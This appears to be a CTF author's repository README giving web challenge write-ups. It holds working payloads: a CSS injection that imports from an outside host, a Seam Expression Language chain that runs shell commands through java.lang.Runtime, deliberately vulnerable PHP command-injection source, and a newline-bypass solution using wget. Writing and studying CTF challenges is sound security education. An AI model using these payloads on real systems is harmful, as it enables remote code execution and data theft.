My CTF Web Challenges

Hi, I am Orange. This is the repo of CTF challenges I made. It contains challenge's source code, writeup and some idea explanation.

I am a CTFer and Bug Bounty Hunter, loving web hacking and penetration testing. So you will see these challs are all about web. If you have any question about these challs, you can find me in following ways


Hope you like it :)

P.s. BTW, the series of Babyfirst are my favorite in all of these challenges. There are open questions to all and there are lots of creative solutions. If you don't have time to see all, please look the them at least!

Idea

Solution


P.s. I made this challenge because once when I try to review the code of Seam Framework, I found some 0-days and I think it must have more. So I throw out the brick to attract a jade. And the result is more than I expected :P


Intended solution

  • Register an account

    username: `AAAAAA`    
    password: `AAAAAA`  
    realname: `{/*';*/}%0a@import'http://orange.tw/?`  
    
  • Report URL

    http://1.2.3.4:8080/angryseam/profile.seam?actionOutcom>e=/profile.seam?username%3dAAAAAA
    

Unintended solution

  • Register an account
  • Update description to
  • Login and access
/?x=#{expressions.instance().createValueExpression(request.getHeader('cmd')).getValue()}
GET /angryseam/template.seam?actionMethod=template.xhtml:util.escape(sessionScope['user'].getDescription()) HTTP/1.1
host: 1.2.3.4
cmd: #{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),request.getHeader('ccc'))}
ccc: ls -alh
...

Unintended solution

  • CVE-2013-2165 Java deserialization vulnerability

Unintended solution

  • SESSION manipulation... seam SUCKS

Babyfirst

Sovled: 33 / 969
Difficulty: ★★
Tag: WhiteBox, PHP, Command Injection

Idea

  • Use NewLine to bypass regular expression check
  • Command injection only with alphanumeric characters

Source Code

<?php
    highlight_file(__FILE__);

    $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
    if ( !file_exists($dir) )
        mkdir($dir);
    chdir($dir);

    $args = $_GET['args'];
    for ( $i=0; $i<count($args); $i++ ){
        if ( !preg_match('/^\w+$/', $args[$i]) )
            exit();
    }

    exec("/bin/orange " . implode(" ", $args));
?>

Solution

http://localhost/
?args[0]=x%0a
&args[1]=mkdir
&args[2]=orange%0a
&args[3]=cd
&args[4]=orange%0a
&args[5]=wget
